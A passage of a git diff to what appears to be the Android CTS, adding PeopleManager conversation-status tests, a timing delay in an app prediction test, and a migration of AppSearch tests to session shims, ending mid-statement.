new file mode 100644
index 0000000..adc608c
--- /dev/null
+++ b/tests/app/src/android/app/people/cts/PeopleManagerTest.java
@@ -0,0 +1,259 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.people.cts;
+
+import static android.app.NotificationManager.IMPORTANCE_DEFAULT;
+import static android.app.people.ConversationStatus.ACTIVITY_ANNIVERSARY;
+import static android.app.people.ConversationStatus.ACTIVITY_GAME;
+import static android.app.people.ConversationStatus.AVAILABILITY_AVAILABLE;
+import static android.app.people.ConversationStatus.AVAILABILITY_BUSY;
+
+import static java.lang.Thread.sleep;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Person;
+import android.app.people.ConversationStatus;
+import android.app.people.PeopleManager;
+import android.app.stubs.R;
+import android.app.stubs.SendBubbleActivity;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.ShortcutInfo;
+import android.content.pm.ShortcutManager;
+import android.graphics.drawable.Icon;
+import android.os.SystemClock;
+import android.test.AndroidTestCase;
+import android.util.ArraySet;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.Set;
+import java.util.UUID;
+
+
+public class PeopleManagerTest extends AndroidTestCase {
+ final String TAG = PeopleManagerTest.class.getSimpleName();
+ static final String NOTIFICATION_CHANNEL_ID = "PeopleManagerTest";
+ static final String PERSON_CHANNEL_ID = "PersonTest";
+
+ private static final String SHARE_SHORTCUT_ID = "shareShortcut";
+ private static final String SHARE_SHORTCUT_ID2 = "shareShortcut2";
+ private static final String SHARE_SHORTCUT_CATEGORY =
+ "android.app.stubs.SHARE_SHORTCUT_CATEGORY";
+
+ private static final long TIMEOUT_MS = 4000;
+
+ private NotificationManager mNotificationManager;
+ private ShortcutManager mShortcutManager;
+ private PeopleManager mPeopleManager;
+ private String mId;
+
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ // This will leave a set of channels on the device with each test run.
+ mId = UUID.randomUUID().toString();
+ mNotificationManager = mContext.getSystemService(NotificationManager.class);
+ mShortcutManager = mContext.getSystemService(ShortcutManager.class);
+ mPeopleManager = mContext.getSystemService(PeopleManager.class);
+ assertNotNull(mPeopleManager);
+
+ createDynamicShortcut();
+ mNotificationManager.createNotificationChannel(new NotificationChannel(
+ NOTIFICATION_CHANNEL_ID, "name", IMPORTANCE_DEFAULT));
+ NotificationChannel personChannel =
+ new NotificationChannel(PERSON_CHANNEL_ID, "person", IMPORTANCE_DEFAULT);
+ personChannel.setConversationId(NOTIFICATION_CHANNEL_ID, SHARE_SHORTCUT_ID);
+ mNotificationManager.createNotificationChannel(personChannel);
+
+ mNotificationManager.notify(177, getConversationNotification().build());
+ sleep(500);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ mNotificationManager.cancelAll();
+
+ List<NotificationChannel> channels = mNotificationManager.getNotificationChannels();
+ // Delete all channels.
+ for (NotificationChannel nc : channels) {
+ if (NotificationChannel.DEFAULT_CHANNEL_ID.equals(nc.getId())) {
+ continue;
+ }
+ mNotificationManager.deleteNotificationChannel(nc.getId());
+ }
+ deleteShortcuts();
+ }
+
+ /** Creates a dynamic, longlived, sharing shortcut. Call {@link #deleteShortcuts()} after. */
+ private void createDynamicShortcut() {
+ Person person = new Person.Builder()
+ .setBot(false)
+ .setIcon(Icon.createWithResource(mContext, R.drawable.icon_black))
+ .setName("BubbleBot")
+ .setImportant(true)
+ .build();
+
+ Set<String> categorySet = new ArraySet<>();
+ categorySet.add(SHARE_SHORTCUT_CATEGORY);
+ Intent shortcutIntent = new Intent(mContext, SendBubbleActivity.class);
+ shortcutIntent.setAction(Intent.ACTION_VIEW);
+
+ ShortcutInfo shortcut = new ShortcutInfo.Builder(mContext, SHARE_SHORTCUT_ID)
+ .setShortLabel(SHARE_SHORTCUT_ID)
+ .setIcon(Icon.createWithResource(mContext, R.drawable.icon_black))
+ .setIntent(shortcutIntent)
+ .setPerson(person)
+ .setCategories(categorySet)
+ .setLongLived(true)
+ .build();
+
+ ShortcutInfo shortcut2 = new ShortcutInfo.Builder(mContext, SHARE_SHORTCUT_ID2)
+ .setShortLabel(SHARE_SHORTCUT_ID2)
+ .setIcon(Icon.createWithResource(mContext, R.drawable.icon_black))
+ .setIntent(shortcutIntent)
+ .setPerson(person)
+ .setCategories(categorySet)
+ .setLongLived(true)
+ .build();
+
+ mShortcutManager.addDynamicShortcuts(Arrays.asList(shortcut, shortcut2));
+ }
+
+ private void deleteShortcuts() {
+ mShortcutManager.removeAllDynamicShortcuts();
+ mShortcutManager.removeLongLivedShortcuts(Collections.singletonList(SHARE_SHORTCUT_ID));
+ }
+
+ private Notification.Builder getConversationNotification() {
+ Person person = new Person.Builder()
+ .setName("bubblebot")
+ .build();
+ Notification.Builder nb = new Notification.Builder(mContext, PERSON_CHANNEL_ID)
+ .setContentTitle("foo")
+ .setShortcutId(SHARE_SHORTCUT_ID)
+ .setStyle(new Notification.MessagingStyle(person)
+ .setConversationTitle("Bubble Chat")
+ .addMessage("Hello?",
+ SystemClock.currentThreadTimeMillis() - 300000, person)
+ .addMessage("Is it me you're looking for?",
+ SystemClock.currentThreadTimeMillis(), person)
+ )
+ .setSmallIcon(android.R.drawable.sym_def_app_icon);
+ return nb;
+ }
+
+ public void testAddOrUpdateStatus_add() throws Exception {
+ ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+ .setAvailability(AVAILABILITY_AVAILABLE)
+ .build();
+ mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs);
+
+ List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+
+ assertTrue(statuses.contains(cs));
+ }
+
+ public void testAddOrUpdateStatus_update() throws Exception {
+ ConversationStatus.Builder cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+ .setAvailability(AVAILABILITY_AVAILABLE);
+ mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs.build());
+
+ List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+ assertTrue(statuses.contains(cs.build()));
+
+ cs.setStartTimeMillis(100).setDescription("Playing chess");
+ mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs.build());
+
+ statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+ assertTrue(statuses.toString(), statuses.contains(cs.build()));
+ }
+
+ public void testGetStatuses() throws Exception {
+ ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+ .setAvailability(AVAILABILITY_BUSY)
+ .build();
+ mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs);
+
+ ConversationStatus cs2 = new ConversationStatus.Builder("another", ACTIVITY_ANNIVERSARY)
+ .setAvailability(AVAILABILITY_AVAILABLE)
+ .build();
+ mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs2);
+
+ List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+
+ assertTrue(statuses.contains(cs));
+ assertTrue(statuses.contains(cs2));
+ }
+
+ public void testGetStatuses_multipleShortcuts() throws Exception {
+ ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+ .setAvailability(AVAILABILITY_BUSY)
+ .build();
+ mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs);
+
+ ConversationStatus cs2 = new ConversationStatus.Builder("another", ACTIVITY_ANNIVERSARY)
+ .setAvailability(AVAILABILITY_AVAILABLE)
+ .build();
+ mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID2, cs2);
+
+ List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+ List<ConversationStatus> statuses2 = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID2);
+ assertTrue(statuses.contains(cs));
+ assertTrue(statuses2.contains(cs2));
+ }
+
+ public void testClearStatuses() throws Exception {
+ ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+ .setAvailability(AVAILABILITY_BUSY)
+ .build();
+ mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs);
+
+ ConversationStatus cs2 = new ConversationStatus.Builder("another", ACTIVITY_ANNIVERSARY)
+ .setAvailability(AVAILABILITY_AVAILABLE)
+ .build();
+ mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs2);
+
+ mPeopleManager.clearStatuses(SHARE_SHORTCUT_ID);
+ List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+
+ assertTrue(statuses.isEmpty());
+ }
+
+ public void testClearStatus() throws Exception {
+ ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+ .setAvailability(AVAILABILITY_BUSY)
+ .build();
+ mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs);
+
+ ConversationStatus cs2 = new ConversationStatus.Builder("another", ACTIVITY_ANNIVERSARY)
+ .setAvailability(AVAILABILITY_AVAILABLE)
+ .build();
+ mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs2);
+
+ mPeopleManager.clearStatus(SHARE_SHORTCUT_ID, cs2.getId());
+ List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+
+ assertTrue(statuses.contains(cs));
+ assertFalse(statuses.contains(cs2));
+ }
+}
diff --git a/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java b/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java
index ca4331a..fbc2d93 100644
--- a/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java
+++ b/tests/apppredictionservice/src/android/apppredictionservice/cts/AppPredictionServiceTest.java
@@ -139,6 +139,13 @@
RequestVerifier cb = new RequestVerifier(mReporter);
client.registerPredictionUpdates(Executors.newSingleThreadExecutor(), cb);
+ // Introduce extra delay to ensure AppPredictor#registerPredictionUpdates finishes
+ // execution before calling AppPredictor#requestPredictionUpdate in the following line.
+ // Note that the delay is only needed because of the way the test case is structured.
+ // In production code, AppPredictor#requestPredictionUpdate is invoked in the callback
+ // of AppPredictor#registerPredictionUpdates, which already ensures sequential execution.
+ SystemClock.sleep(500);
+
// Verify some updates
assertTrue(cb.requestAndWaitForTargets(createPredictions(),
() -> client.requestPredictionUpdate()));
diff --git a/tests/appsearch/Android.bp b/tests/appsearch/Android.bp
index 2bb810d..067a825 100644
--- a/tests/appsearch/Android.bp
+++ b/tests/appsearch/Android.bp
@@ -16,6 +16,7 @@
name: "CtsAppSearchTestCases",
defaults: ["cts_defaults"],
static_libs: [
+ "AppSearchTestUtils",
"androidx.test.ext.junit",
"androidx.test.rules",
"compatibility-device-util-axt",
diff --git a/tests/appsearch/OWNERS b/tests/appsearch/OWNERS
index 6be8bd5..f2060d9 100644
--- a/tests/appsearch/OWNERS
+++ b/tests/appsearch/OWNERS
@@ -1,3 +1,2 @@
# Bug component: 755061
-adorokhine@google.com
-sudheersai@google.com
+include platform/frameworks/base:/apex/appsearch/OWNERS
diff --git a/tests/appsearch/src/com/android/cts/appsearch/AppSearchManagerTest.java b/tests/appsearch/src/com/android/cts/appsearch/AppSearchManagerTest.java
deleted file mode 100644
index f963b05..0000000
--- a/tests/appsearch/src/com/android/cts/appsearch/AppSearchManagerTest.java
+++ /dev/null
@@ -1,284 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.appsearch;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.app.appsearch.AppSearchBatchResult;
-import android.app.appsearch.AppSearchEmail;
-import android.app.appsearch.AppSearchManager;
-import android.app.appsearch.AppSearchResult;
-import android.app.appsearch.AppSearchSchema;
-import android.app.appsearch.AppSearchSchema.PropertyConfig;
-import android.app.appsearch.GenericDocument;
-import android.app.appsearch.GetByUriRequest;
-import android.app.appsearch.PutDocumentsRequest;
-import android.app.appsearch.RemoveByUriRequest;
-import android.app.appsearch.SearchResult;
-import android.app.appsearch.SearchSpec;
-import android.app.appsearch.SetSchemaRequest;
-import android.content.Context;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import com.google.common.collect.ImmutableList;
-
-import junit.framework.AssertionFailedError;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.List;
-
-@RunWith(AndroidJUnit4.class)
-public class AppSearchManagerTest {
- private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
- private final AppSearchManager mAppSearch = mContext.getSystemService(AppSearchManager.class);
-
- @Before
- public void setUp() {
- // Remove all documents from any instances that may have been created in the tests.
- checkIsSuccess(mAppSearch.setSchema(
- new SetSchemaRequest.Builder().setForceOverride(true).build()));
- }
-
- @Test
- public void testGetService() {
- assertThat(mContext.getSystemService(Context.APP_SEARCH_SERVICE)).isNotNull();
- assertThat(mContext.getSystemService(AppSearchManager.class)).isNotNull();
- assertThat(mAppSearch).isNotNull();
- }
-
- @Test
- public void testSetSchema() {
- AppSearchSchema emailSchema = new AppSearchSchema.Builder("Email")
- .addProperty(new AppSearchSchema.PropertyConfig.Builder("subject")
- .setDataType(PropertyConfig.DATA_TYPE_STRING)
- .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
- .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
- .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
- .build()
- ).addProperty(new AppSearchSchema.PropertyConfig.Builder("body")
- .setDataType(PropertyConfig.DATA_TYPE_STRING)
- .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
- .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
- .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
- .build()
- ).build();
- checkIsSuccess(mAppSearch.setSchema(
- new SetSchemaRequest.Builder().addSchema(emailSchema).build()));
- }
-
- @Test
- public void testPutDocuments() {
- // Schema registration
- checkIsSuccess(mAppSearch.setSchema(
- new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build()));
-
- // Index a document
- AppSearchEmail email = new AppSearchEmail.Builder("uri1")
- .setFrom("from@example.com")
- .setTo("to1@example.com", "to2@example.com")
- .setSubject("testPut example")
- .setBody("This is the body of the testPut email")
- .build();
-
- AppSearchBatchResult result = mAppSearch.putDocuments(
- new PutDocumentsRequest.Builder().addGenericDocument(email).build());
- checkIsSuccess(result);
- assertThat(result.getSuccesses()).containsExactly("uri1", null);
- assertThat(result.getFailures()).isEmpty();
- }
-
- @Test
- public void testGetDocuments() {
- // Schema registration
- checkIsSuccess(mAppSearch.setSchema(
- new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build()));
-
- // Index a document
- AppSearchEmail inEmail =
- new AppSearchEmail.Builder("uri1")
- .setFrom("from@example.com")
- .setTo("to1@example.com", "to2@example.com")
- .setSubject("testPut example")
- .setBody("This is the body of the testPut email")
- .build();
- checkIsSuccess(mAppSearch.putDocuments(
- new PutDocumentsRequest.Builder().addGenericDocument(inEmail).build()));
-
- // Get the document
- List<GenericDocument> outDocuments = doGet("uri1");
- assertThat(outDocuments).hasSize(1);
- AppSearchEmail outEmail = new AppSearchEmail(outDocuments.get(0));
- assertThat(outEmail).isEqualTo(inEmail);
- }
-
- @Test
- public void testQuery() {
- // Schema registration
- checkIsSuccess(mAppSearch.setSchema(
- new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build()));
-
- // Index a document
- AppSearchEmail inEmail =
- new AppSearchEmail.Builder("uri1")
- .setFrom("from@example.com")
- .setTo("to1@example.com", "to2@example.com")
- .setSubject("testPut example")
- .setBody("This is the body of the testPut email")
- .build();
- checkIsSuccess(mAppSearch.putDocuments(
- new PutDocumentsRequest.Builder().addGenericDocument(inEmail).build()));
-
- // Query for the document
- List<GenericDocument> results = doQuery("body");
- assertThat(results).hasSize(1);
- assertThat(results.get(0)).isEqualTo(inEmail);
-
- // Multi-term query
- results = doQuery("body email");
- assertThat(results).hasSize(1);
- assertThat(results.get(0)).isEqualTo(inEmail);
- }
-
- @Test
- public void testQuery_TypeFilter() {
- // Schema registration
- AppSearchSchema genericSchema = new AppSearchSchema.Builder("Generic")
- .addProperty(new PropertyConfig.Builder("foo")
- .setDataType(PropertyConfig.DATA_TYPE_STRING)
- .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
- .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
- .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
- .build()
- ).build();
- checkIsSuccess(mAppSearch.setSchema(new SetSchemaRequest.Builder()
- .addSchema(AppSearchEmail.SCHEMA, genericSchema).build()));
-
- // Index a document
- AppSearchEmail inEmail =
- new AppSearchEmail.Builder("uri1")
- .setFrom("from@example.com")
- .setTo("to1@example.com", "to2@example.com")
- .setSubject("testPut example")
- .setBody("This is the body of the testPut email")
- .build();
- GenericDocument inDoc = new GenericDocument.Builder<>("uri2", "Generic")
- .setPropertyString("foo", "body").build();
- checkIsSuccess(mAppSearch.putDocuments(
- new PutDocumentsRequest.Builder().addGenericDocument(inEmail, inDoc).build()));
-
- // Query for the documents
- List<GenericDocument> results = doQuery("body");
- assertThat(results).hasSize(2);
- assertThat(results).containsExactly(inEmail, inDoc);
-
- // Query only for Document
- results = doQuery("body", "Generic");
- assertThat(results).hasSize(1);
- assertThat(results).containsExactly(inDoc);
- }
-
- @Test
- public void testDelete() {
- // Schema registration
- checkIsSuccess(mAppSearch.setSchema(
- new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build()));
-
- // Index documents
- AppSearchEmail email1 =
- new AppSearchEmail.Builder("uri1")
- .setFrom("from@example.com")
- .setTo("to1@example.com", "to2@example.com")
- .setSubject("testPut example")
- .setBody("This is the body of the testPut email")
- .build();
- AppSearchEmail email2 =
- new AppSearchEmail.Builder("uri2")
- .setFrom("from@example.com")
- .setTo("to1@example.com", "to2@example.com")
- .setSubject("testPut example 2")
- .setBody("This is the body of the testPut second email")
- .build();
- checkIsSuccess(mAppSearch.putDocuments(
- new PutDocumentsRequest.Builder().addGenericDocument(email1, email2).build()));
-
- // Check the presence of the documents
- assertThat(doGet("uri1")).hasSize(1);
- assertThat(doGet("uri2")).hasSize(1);
-
- // Delete the document
- checkIsSuccess(mAppSearch.removeByUri(
- new RemoveByUriRequest.Builder().addUri("uri1").build()));
-
- // Make sure it's really gone
- AppSearchBatchResult<String, GenericDocument> getResult = mAppSearch.getByUri(
- new GetByUriRequest.Builder().addUri("uri1", "uri2").build());
-
- assertThat(getResult.isSuccess()).isFalse();
- assertThat(getResult.getFailures().get("uri1").getResultCode())
- .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
- assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
- }
-
- //TODO(b/162450968) add test for deleteByType and namespace once deleteByQuery is ready.
-
- private List<GenericDocument> doGet(String... uris) {
- AppSearchBatchResult<String, GenericDocument> result = mAppSearch.getByUri(
- new GetByUriRequest.Builder().addUri(uris).build());
- checkIsSuccess(result);
- assertThat(result.getSuccesses()).hasSize(uris.length);
- assertThat(result.getFailures()).isEmpty();
- List<GenericDocument> list = new ArrayList<>(uris.length);
- for (String uri : uris) {
- list.add(result.getSuccesses().get(uri));
- }
- return list;
- }
-
- private List<GenericDocument> doQuery(String queryExpression, String... schemaTypes) {
- AppSearchResult<List<SearchResult>> result = mAppSearch.query(
- queryExpression,
- new SearchSpec.Builder()
- .addSchemaType(schemaTypes)
- .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
- .build());
- checkIsSuccess(result);
- List<SearchResult> searchResults = result.getResultValue();
- List<GenericDocument> documents = new ArrayList<>(searchResults.size());
- for (SearchResult searchResult : searchResults) {
- documents.add(searchResult.getDocument());
- }
- return documents;
- }
-
- private void checkIsSuccess(AppSearchResult<?> result) {
- if (!result.isSuccess()) {
- throw new AssertionFailedError("AppSearchResult not successful: " + result);
- }
- }
-
- private void checkIsSuccess(AppSearchBatchResult<?,?> result) {
- if (!result.isSuccess()) {
- throw new AssertionFailedError(
- "AppSearchBatchResult not successful: " + result.getFailures());
- }
- }
-}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/AppSearchSessionCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/AppSearchSessionCtsTest.java
new file mode 100644
index 0000000..18a0238
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/AppSearchSessionCtsTest.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.appsearch.cts;
+
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchSessionShim;
+
+import androidx.annotation.NonNull;
+
+import com.android.server.appsearch.testing.AppSearchSessionShimImpl;
+
+import com.google.common.util.concurrent.ListenableFuture;
+
+import java.util.concurrent.ExecutorService;
+
+public class AppSearchSessionCtsTest extends AppSearchSessionCtsTestBase {
+ @Override
+ protected ListenableFuture<AppSearchSessionShim> createSearchSession(@NonNull String dbName) {
+ return AppSearchSessionShimImpl.createSearchSession(
+ new AppSearchManager.SearchContext.Builder().setDatabaseName(dbName).build());
+ }
+
+ @Override
+ protected ListenableFuture<AppSearchSessionShim> createSearchSession(@NonNull String dbName,
+ @NonNull ExecutorService executor) {
+ return AppSearchSessionShimImpl.createSearchSession(
+ new AppSearchManager.SearchContext.Builder().setDatabaseName(dbName).build(),
+ executor);
+ }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/AppSearchSessionTest.java b/tests/appsearch/src/com/android/cts/appsearch/AppSearchSessionTest.java
deleted file mode 100644
index 382e06f..0000000
--- a/tests/appsearch/src/com/android/cts/appsearch/AppSearchSessionTest.java
+++ /dev/null
@@ -1,103 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.appsearch;
-
-import android.app.ActivityThread;
-import android.app.appsearch.AppSearchBatchResult;
-import android.app.appsearch.AppSearchEmail;
-import android.app.appsearch.AppSearchManager;
-import android.app.appsearch.AppSearchResult;
-import android.app.appsearch.AppSearchSession;
-import android.app.appsearch.PutDocumentsRequest;
-import android.app.appsearch.SetSchemaRequest;
-import android.content.Context;
-
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import junit.framework.AssertionFailedError;
-
-import org.junit.Before;
-import org.junit.Test;
-
-import java.util.Objects;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.Executor;
-
-public class AppSearchSessionTest {
- private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
- private final AppSearchManager mAppSearch = mContext.getSystemService(AppSearchManager.class);
- private final Executor mExecutor = ActivityThread.currentActivityThread().getExecutor();
- private AppSearchSession mSearchSession;
-
- @Before
- public void setUp() throws Exception {
- // Remove all documents from any instances that may have been created in the tests.
- Objects.requireNonNull(mAppSearch);
- AppSearchManager.SearchContext searchContext = new AppSearchManager.SearchContext.Builder()
- .setDatabaseName("testDb").build();
- CompletableFuture<AppSearchResult<AppSearchSession>> future = new CompletableFuture<>();
- mAppSearch.createSearchSession(searchContext, mExecutor, future::complete);
- AppSearchResult<AppSearchSession> result = future.get();
- checkIsSuccess(result);
- mSearchSession = result.getResultValue();
-
- CompletableFuture<AppSearchResult<Void>> schemaFuture = new CompletableFuture<>();
- mSearchSession.setSchema(
- new SetSchemaRequest.Builder().setForceOverride(true).build(), mExecutor,
- schemaFuture::complete);
- checkIsSuccess(schemaFuture.get());
- }
-
- @Test
- public void testGetDocuments() throws Exception {
- // Schema registration
- CompletableFuture<AppSearchResult<Void>> schemaFuture = new CompletableFuture<>();
- mSearchSession.setSchema(
- new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build(), mExecutor,
- schemaFuture::complete);
- checkIsSuccess(schemaFuture.get());
-
- // Index a document
- AppSearchEmail inEmail =
- new AppSearchEmail.Builder("uri1")
- .setFrom("from@example.com")
- .setTo("to1@example.com", "to2@example.com")
- .setSubject("testPut example")
- .setBody("This is the body of the testPut email")
- .build();
-
- CompletableFuture<AppSearchBatchResult<String, Void>> putDocumentsFuture =
- new CompletableFuture<>();
- mSearchSession.putDocuments(
- new PutDocumentsRequest.Builder().addGenericDocument(inEmail).build(),
- mExecutor, putDocumentsFuture::complete);
- checkIsSuccess(putDocumentsFuture.get());
- }
-
- private void checkIsSuccess(AppSearchResult<?> result) {
- if (!result.isSuccess()) {
- throw new AssertionFailedError("AppSearchResult not successful: " + result);
- }
- }
-
- private void checkIsSuccess(AppSearchBatchResult<?,?> result) {
- if (!result.isSuccess()) {
- throw new AssertionFailedError(
- "AppSearchBatchResult not successful: " + result.getFailures());
- }
- }
-}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionCtsTest.java
new file mode 100644
index 0000000..ff50832
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/GlobalSearchSessionCtsTest.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.appsearch.cts;
+
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.GlobalSearchSessionShim;
+
+import androidx.annotation.NonNull;
+
+import com.android.server.appsearch.testing.AppSearchSessionShimImpl;
+import com.android.server.appsearch.testing.GlobalSearchSessionShimImpl;
+
+import com.google.common.util.concurrent.ListenableFuture;
+
+public class GlobalSearchSessionCtsTest extends GlobalSearchSessionCtsTestBase {
+ @Override
+ protected ListenableFuture<AppSearchSessionShim> createSearchSession(@NonNull String dbName) {
+ return AppSearchSessionShimImpl.createSearchSession(
+ new AppSearchManager.SearchContext.Builder().setDatabaseName(dbName).build());
+ }
+
+ @Override
+ protected ListenableFuture<GlobalSearchSessionShim> createGlobalSearchSession() {
+ return GlobalSearchSessionShimImpl.createGlobalSearchSession();
+ }
+}
\ No newline at end of file
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchResultCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchResultCtsTest.java
new file mode 100644
index 0000000..9c34b17
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchResultCtsTest.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.appsearch.AppSearchResult;
+
+import org.junit.Test;
+
+public class AppSearchResultCtsTest {
+
+ @Test
+ public void testResultEquals_identical() {
+ AppSearchResult<String> result1 = AppSearchResult.newSuccessfulResult("String");
+ AppSearchResult<String> result2 = AppSearchResult.newSuccessfulResult("String");
+
+ assertThat(result1).isEqualTo(result2);
+ assertThat(result1.hashCode()).isEqualTo(result2.hashCode());
+
+ AppSearchResult<String> result3 =
+ AppSearchResult.newFailedResult(
